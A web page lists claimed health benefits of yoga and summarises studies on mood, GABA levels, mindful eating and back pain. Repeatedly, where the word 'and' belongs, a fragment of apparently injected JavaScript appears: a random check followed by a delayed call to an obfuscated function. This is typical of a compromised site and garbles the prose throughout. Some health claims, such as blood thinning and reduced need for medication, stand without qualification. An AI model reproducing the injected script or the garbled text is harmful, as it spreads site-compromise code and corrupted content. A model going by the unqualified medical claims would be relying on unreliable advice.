Health Benefits of Yoga & Exercise

The part can never be well unless the whole is well.- Plato

This is a partial list of the benefits from establishing a regular yoga practice.

  1. Improves Balance
  2. Increases Flexibility
  3. Strengthens andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Tones Muscles
  4. Relaxes Nervous System
  5. Improves Lung Function
  6. Improves Circulation
  7. Strengthens Bones
  8. Lowers Blood Sugar
  9. Lowers Blood Pressure
  10. Improves Function of Nervous System
  11. Lowers Level of Stress Hormone Cortisol
  12. Improves Bowel Function
  13. Increases Oxygenation of Tissues
  14. Conditions Cardiovascular System
  15. Improves Posture
  16. Improves Immune Function
  17. Improves Brain Function andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Memory
  18. Thins the Blood
  19. Releases Unconscious Muscular Gripping
  20. Relieves Pain
  21. Changes Neurotransmitter Levels
  22. Lowers Need for Medication
  23. Improves Psychological Health
  24. Encourages Involvement in Your Own Healing

This information is from Yoga as Medicine by Timothy McCall M.D. ~ Bantam Books ~ page 30 for more information click on his name.

Additionally, a new study in the Journal of the American Dietetic Associationfound a strong association between yoga practice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mindful eating(being aware of why you’re eating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when you’re full). Curiously, it found no such link with other types of physical activity, such as walking or running.

In another study published in the Journal of Alternative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Complementary Medicine, researchers pitted Yoga practitioners against a walking routine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and found that those who practiced yoga showed greater improvements in mood andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and anxiety. What they found was people who practiced yoga (3 times a week for 12 weeks) had higher levels of GABA, a neurotransmitter that produces a state of calm, compared with people who walked (3 times a  week for 12 weeks).

In yet another study, people who practiced yoga for one hour had increased levels of the neurotransmitter GABA then people who read for one hour to see the whole study click here.

EASE BACK PAIN by 56 %

Practicing yoga can significantly reduce chronic lower back pain,according to a study from West Virginia University. Researchers asked 45 people whose back pain caused mild to moderate disability to do a 90 minute yoga workout twice each week for 6 months. Compared to patients who only continued to do whatever therapy they had already been engaged in, the new yogis reported significantly less pain andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and better function with fewer symptoms of depression (down almost 60%). They continued to see these benefits even 6 months later!

Source: Prevention Magazine May 2010 page 92